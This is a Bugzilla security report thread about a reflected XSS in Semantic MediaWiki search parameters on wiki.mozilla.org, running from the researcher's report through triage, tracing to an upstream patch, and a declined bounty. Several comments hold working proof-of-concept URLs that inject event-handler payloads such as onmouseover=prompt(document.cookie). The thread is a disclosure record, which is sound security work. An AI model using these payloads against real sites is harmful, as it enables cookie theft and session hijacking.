1041392 - xss in semantic search parameters

Status: RESOLVED DUPLICATE of bug 801027

(Websites :: wiki.mozilla.org, defect)

Description

[Jitendra jaiswal]

Attachment: xs.JPG

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 (Beta/Release)
Build ID: 20140605174243

Steps to reproduce:

Hello I am, Jitendra Jaiswal (security researcher)

 During my research I found some high security issue xss (cookie stolen) vulnerability in main domain  http://wiki.mozilla.org/

example :

 Domain:  http://wiki.mozilla.org/


Poc url steps for reproduce issue steps by using one of them

wiki.mozilla.org/index.php?eq=yes&offset=50%22%20onmouseover%3dprompt("xss")%20bad%3d%22&p=format%3Dtemplate/mainlabel%3D-2D/template%3DSecReviewActionTable&po=%3F%23-%0A%3FSecReview%20name%23-%0A%3FSecReview%20action%20item%20status%23-%0A%3FFeature%20version%23-%0A%3FSecReview%20action%20items%23-%0A&q=[[Category:SecReview]]%20[[SecReview%20action%20item%20status::In%20Progress]]&title=Special:Ask

for access cookie : wiki.mozilla.org/index.php?eq=yes&offset=50%22%20onmouseover%3dprompt(document.cookie)%20bad%3d%22&p=format%3Dtemplate/mainlabel%3D-2D/template%3DSecReviewActionTable&po=%3F%23-%0A%3FSecReview%20name%23-%0A%3FSecReview%20action%20item%20status%23-%0A%3FFeature%20version%23-%0A%3FSecReview%20action%20items%23-%0A&q=[[Category:SecReview]]%20[[SecReview%20action%20item%20status::In%20Progress]]&title=Special:Ask

steps for issue reproduce

1. go to below url : wiki.mozilla.org/index.php?eq=yes&offset=50%22%20onmouseover%3dprompt(document.cookie)%20bad%3d%22&p=format%3Dtemplate/mainlabel%3D-2D/template%3DSecReviewActionTable&po=%3F%23-%0A%3FSecReview%20name%23-%0A%3FSecReview%20action%20item%20status%23-%0A%3FFeature%20version%23-%0A%3FSecReview%20action%20items%23-%0A&q=[[Category:SecReview]]%20[[SecReview%20action%20item%20status::In%20Progress]]&title=Special:Ask

load the url in browser 

when you give above link to any user the xss payload stored in the page which is open now 

that url have an xss payload which access cookie as 

offset was set to 50" onmouseover=prompt(document.cookie) bad="


now when you/user move mouse courser for selecting template  on page which is shown in attachment image  link that make an xss alert which we put in url


why this work :

Vulnerability description
This script is vulnerable to stored Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.


Attack details
URL encoded GET input offset was set to 50" onmouseover=prompt(document.cookie) bad="
The input is reflected inside a tag parameter between double quotes.


.

all the proof attach with this thats show xss is work and can be access cookie of an user related to site 
also send image for make alert for mouse move on location 

link of all xss proof m send link bcz we can send here only one file 

https://www.dropbox.com/s/gmdwpx0vv28338k/fxss.JPG
https://www.dropbox.com/s/rtd3wdvyax0y95t/xs.JPG?m=
https://www.dropbox.com/s/vk7qfgnu4y6yzez/xss%20mozila.JPG
https://www.dropbox.com/s/84fsbn1e5clp0ah/xxmozila.JPG

poc image in attchments




Actual results:

in the results we can say its make an xss high security issue for users who use this site 


steps for issue reproduce

1. go to below url : wiki.mozilla.org/index.php?eq=yes&offset=50%22%20onmouseover%3dprompt(document.cookie)%20bad%3d%22&p=format%3Dtemplate/mainlabel%3D-2D/template%3DSecReviewActionTable&po=%3F%23-%0A%3FSecReview%20name%23-%0A%3FSecReview%20action%20item%20status%23-%0A%3FFeature%20version%23-%0A%3FSecReview%20action%20items%23-%0A&q=[[Category:SecReview]]%20[[SecReview%20action%20item%20status::In%20Progress]]&title=Special:Ask

load the url in browser 

when you give above link to any user the xss payload stored in the page which is open now 

that url have an xss payload which access cookie as 

offset was set to 50" onmouseover=prompt(document.cookie) bad="


now when you/user move mouse courser for selecting template  on page which is shown in attachment image  link that make an xss alert which we put in url


Expected results:

we can use xss filter by using xss can't work and make users safe on platform of Mozilla

Comment 2

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

I don't see an xss here the cookie is being displayed by an in content call to onmouseover=prompt(document.cookie) and an onmouseover=prompt("xss") so this is not executing scripts from outside the domain thus not cross-site. Have you found an instance here where you can execute scripts from another domain?

Comment 3

[Jitendra jaiswal]

sorry for mistake as my first link not work but in my second link 

https://wiki.mozilla.org/index.php?eq=yes&offset=50%22%20onmouseover%3dalert%282%29%20bad%3d%22&p=format%3Dtemplate/mainlabel%3D-2D/template%3DSecReviewActionTable&po=%3F%23-%0A%3FSecReview%20name%23-%0A%3FSecReview%20action%20item%20status%23-%0A%3FFeature%20version%23-%0A%3FSecReview%20action%20items%23-%0A&q=[[Category:SecReview]]%20[[SecReview%20action%20item%20status::In%20Progress]]&title=Special:Ask

thats properly work and give you an xss alert of 2 numaric 

and as you say its not cross site issue  that i want to say its an type of xss issue if you not know about that then read owasp site 

https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29  

this define all type of issue 

and also you can see its an xss 

when users use this url that contain call onmouse over  over xss store on page and when users go to select tamplete this xss execute 


and one more thing all of field of this url have xss vulnrability   m use xss script only one field offset  but other all field also vulnrable for this attack

Comment 4

[David Chan [:dchan]]

At first glance this appears to be a dupe of bug 801027, however we are on mediawiki 1.19.11, which was released earlier this year. I wonder if there was a regression since bug 801027 says the upstream bug was fixed mid 2013

Comment 5

[Jitendra jaiswal]

(In reply to David Chan [:dchan] from comment #4)
> At first glance this appears to be a dupe of bug 801027, however we are on
> mediawiki 1.19.11, which was released earlier this year. I wonder if there
> was a regression since bug 801027 says the upstream bug was fixed mid 2013

bro how i seen this issue 801027  its block for me 

and if you upgrade this then its not an duplicate bro 

and as i say my link all parameter link sort offset title limit and all other parameter all are have this vulnrability

Comment 6

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Mark, could you take a look at this please?

Comment 7

[Jitendra jaiswal]

(In reply to Jitendra jaiswal from comment #5)
> (In reply to David Chan [:dchan] from comment #4)
> > At first glance this appears to be a dupe of bug 801027, however we are on
> > mediawiki 1.19.11, which was released earlier this year. I wonder if there
> > was a regression since bug 801027 says the upstream bug was fixed mid 2013
> 
> bro how i seen this issue 801027  its block for me 
> 
> and if you upgrade this then its not an duplicate bro 
> 
> and as i say my link all parameter link sort offset title limit and all



if you are not belive m give you more link for same issue with different parameter 

is this i am use sort parameter for xss payload

https://wiki.mozilla.org/index.php?title=Special%3AAsk&q=[[Category%3ASecReview]]+[[SecReview+action+item+status%3A%3AIn+Progress]]&po=%3F%23-%0D%0A%3FSecReview+name%23-%0D%0A%3FSecReview+action+item+status%23-%0D%0A%3FFeature+version%23-%0D%0A%3FSecReview+action+items%23-%0D%0A&eq=yes&p[format]=template&sort_num=&order_num=ASC&p[limit]=&p[offset]=&p[link]=all&p[sort]=50%22+onmouseover%3Dalert%283%29+bad%3D%22&p[order]=&p[headers]=show&p[mainlabel]=-&p[intro]=&p[outro]=&p[searchlabel]=%E2%80%A6+further+results&p[default]=&p[sep]=%2C&p[template]=SecReviewActionTable&p[userparam]=&p[introtemplate]=&p[outrotemplate]=&eq=yes


in this i am use link parameter 

https://wiki.mozilla.org/index.php?title=Special%3AAsk&q=[[Category%3ASecReview]]+[[SecReview+action+item+status%3A%3AIn+Progress]]&po=%3F%23-%0D%0A%3FSecReview+name%23-%0D%0A%3FSecReview+action+item+status%23-%0D%0A%3FFeature+version%23-%0D%0A%3FSecReview+action+items%23-%0D%0A&eq=yes&p[format]=template&sort_num=&order_num=ASC&p[limit]=&p[offset]=&p[link]=50%22+onmouseover%3Dalert%284%29+bad%3D%22&p[sort]=&p[order]=&p[headers]=show&p[mainlabel]=-&p[intro]=&p[outro]=&p[searchlabel]=%E2%80%A6+further+results&p[default]=&p[sep]=%2C&p[template]=SecReviewActionTable&p[userparam]=&p[introtemplate]=&p[outrotemplate]=&eq=yes



in this i am use order parameter 

https://wiki.mozilla.org/index.php?title=Special%3AAsk&q=[[Category%3ASecReview]]+[[SecReview+action+item+status%3A%3AIn+Progress]]&po=%3F%23-%0D%0A%3FSecReview+name%23-%0D%0A%3FSecReview+action+item+status%23-%0D%0A%3FFeature+version%23-%0D%0A%3FSecReview+action+items%23-%0D%0A&eq=yes&p[format]=template&sort_num=&order_num=ASC&p[limit]=&p[offset]=&p[link]=&p[sort]=&p[order]=50%22+onmouseover%3Dalert%284%29+bad%3D%22&p[headers]=&p[mainlabel]=-&p[intro]=&p[outro]=&p[searchlabel]=%E2%80%A6+further+results&p[default]=&p[sep]=%2C&p[template]=SecReviewActionTable&p[userparam]=&p[introtemplate]=&p[outrotemplate]=&eq=yes

as i say all other also vulnerable for same

Comment 8

[David Chan [:dchan]]

Note that I didn't mark it as a dupe since I couldn't determine if it was a regression or not. A minimal test case is.

https://wiki.mozilla.org/index.php?title=Special%3AAsk&q=&p[format]=template&p[foo]=%22%20autofocus%20onfocus=alert%281%29%20%22

There is some interaction with the "q" parameter, p[format]=template and p[key] . Note that "key" can be anything. Under the above circumstances, the querystring it put inside a data-uri without proper encoding. This is the resulting HTML

<select id="formatSelector" name="p[format]" data-url="/index.php?title=Special:Ask&amp;showformatoptions=this.value&amp;params[foo]=\" autofocus="" onfocus="alert(1)" \"&params[offset]="&amp;params[limit]=&quot;">

Comment 9

[Jitendra jaiswal]

Yah bro now you get my point the issue with the q parameter=tamplete parameter

And yes here you use some filter for Xss but for Xss useing event you are not filter here that make risk or Xss in site or soft whataver it is bro m what to ask that acording to you its patchable issue or not ...

Comment 10

[Mark A. Hershberger (hexmode)]

Adding Wikimedia's security engineer and the other member of the MediaWiki release team.

Comment 11

[Mark A. Hershberger (hexmode)]

Actually, this looks like a problem more in SMW, not MW itself.  Finding someone who can look at that.

Comment 12

[Mark A. Hershberger (hexmode)]

Looks like this is fixed in the latest SMW.  At least, the following does not work: http://www.semantic-mediawiki.org/wiki/Special:Ask?q=&p[searchlabel]=%22%20autofocus%20onfocus=alert%281%29%20%22

Comment 13

[Jitendra jaiswal]

(In reply to Mark A. Hershberger (hexmode) from comment #11)
> Actually, this looks like a problem more in SMW, not MW itself.  Finding
> someone who can look at that.

bro m not understand what you want to say 

your issue url and my are different  and your issue now not work 

but my issue still work ....

https://wiki.mozilla.org/index.php?title=Special%3AAsk&q=&p[format]=template&p[foo]=%22%20autofocus%20onfocus=alert%28document.cookie%29%20%22

Comment 14

[Mark A. Hershberger (hexmode)]

https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/af0cbe0588722a00b835e140b2725a133a810c8f contains the fix for this. https://bugzilla.wikimedia.org/46852 shows this was reported and fixed back in April.

Comment 15

[Mark A. Hershberger (hexmode)]

(In reply to Jitendra jaiswal from comment #13)
> (In reply to Mark A. Hershberger (hexmode) from comment #11)
> > Actually, this looks like a problem more in SMW, not MW itself.  Finding
> > someone who can look at that.
> 
> bro m not understand what you want to say 

Your use of "bro" is strange.  In this context it reminds me of a brogrammer (http://www.cnn.com/2012/05/10/opinion/trapani-brogrammer-culture/index.html).

In any case, you did find a genuine bug in the SemanticMediaWiki extension.  It was reported back in April and fixed then in SemanticMediaWiki.  The fix hasn't yet been deployed to wiki.mozilla.org, so that site is still vulnerable.

Comment 16

[Jitendra jaiswal]

No bro mean in India its as like big brother 

so m say that word 

and as you say find a genuine bug in the SemanticMediaWiki extension  

so that mean my issue confirm ... ?

Comment 17

[Mark A. Hershberger (hexmode)]

(In reply to Jitendra jaiswal from comment #16)
> so that mean my issue confirm ... ?

You've found an issue on wiki.mozilla.org that is the result of an unpatched fix to a known problem.  I can confirm that.  I'm not in a position to make any other statement about the issue.

Comment 18

[Mark A. Hershberger (hexmode)]

(In reply to Mark A. Hershberger (hexmode) from comment #17)
> is the result of an unpatched fix to a known problem.

Err, I meant "is the result of a known problem that hasn't been fixed by applying the patch that solves the problem."

Comment 19

[Jitendra jaiswal]

its gone one year and also in my issue not one a one parameter have this issue have all parameter of my url are vulnerable that mean xss work on all parameter or field 

so any one can confirm me this is valid for Mozilla bug bounty program ...?

Comment 20

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

I've nominated this bug for the bounty committee to consider, that does not mean it will receive a bounty but they will review the issue and make a decision.

Comment 21

[Jitendra jaiswal]

Yah I am already receive a mail for deep look on its may be tthats help in that
Thanks

Comment 22

[Jitendra jaiswal]

HELLO 

AS ALL SAY THE ISSUE IS VALID CAN ANY ONE TELL ME 

ANY UPDATE ABOUT THIS ISSUE 

M NOT RECEIVE ANY UPDATE FOR THAT AND ITS GONE A MONTH

Comment 23

[David Chan [:dchan]]

Hi Jitendra,

Thanks for reporting this issue, however wiki.mozilla.org is not covered under the current bounty program. [1] We intend to expand the bounty program in the future and will look into adding wiki. Unfortunately the committee has decided not to pay a bounty for this issue.


[1] - https://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs

Comment 24

[Jitendra jaiswal]

thanks to all of you for giving a good response me :P

Comment 25

[Gordon P. Hemsley [:GPHemsley]]

I'm calling this a dupe of bug 801027. The STR are exactly the same.

I'm waiting on access to the upstream bug, but clearly whatever the fix was didn't fix this issue (which is likely in the extension).

Comment 26

[csteipp]

(In reply to Gordon P. Hemsley [:GPHemsley] from comment #25)
> I'm calling this a dupe of bug 801027. The STR are exactly the same.
> 
> I'm waiting on access to the upstream bug, but clearly whatever the fix was
> didn't fix this issue (which is likely in the extension).

Sorry about that, the bug should have been public. I just opened it up:
https://bugzilla.wikimedia.org/show_bug.cgi?id=46852

The patch (https://gerrit.wikimedia.org/r/#/c/57433/) is included in the REL1_23 branch of the extension, and also the "1.9.x" branch. The current download of the SMW bundle from http://www.mediawiki.org/wiki/Semantic_Bundle also have the patch. Where is mozilla pulling the extension from?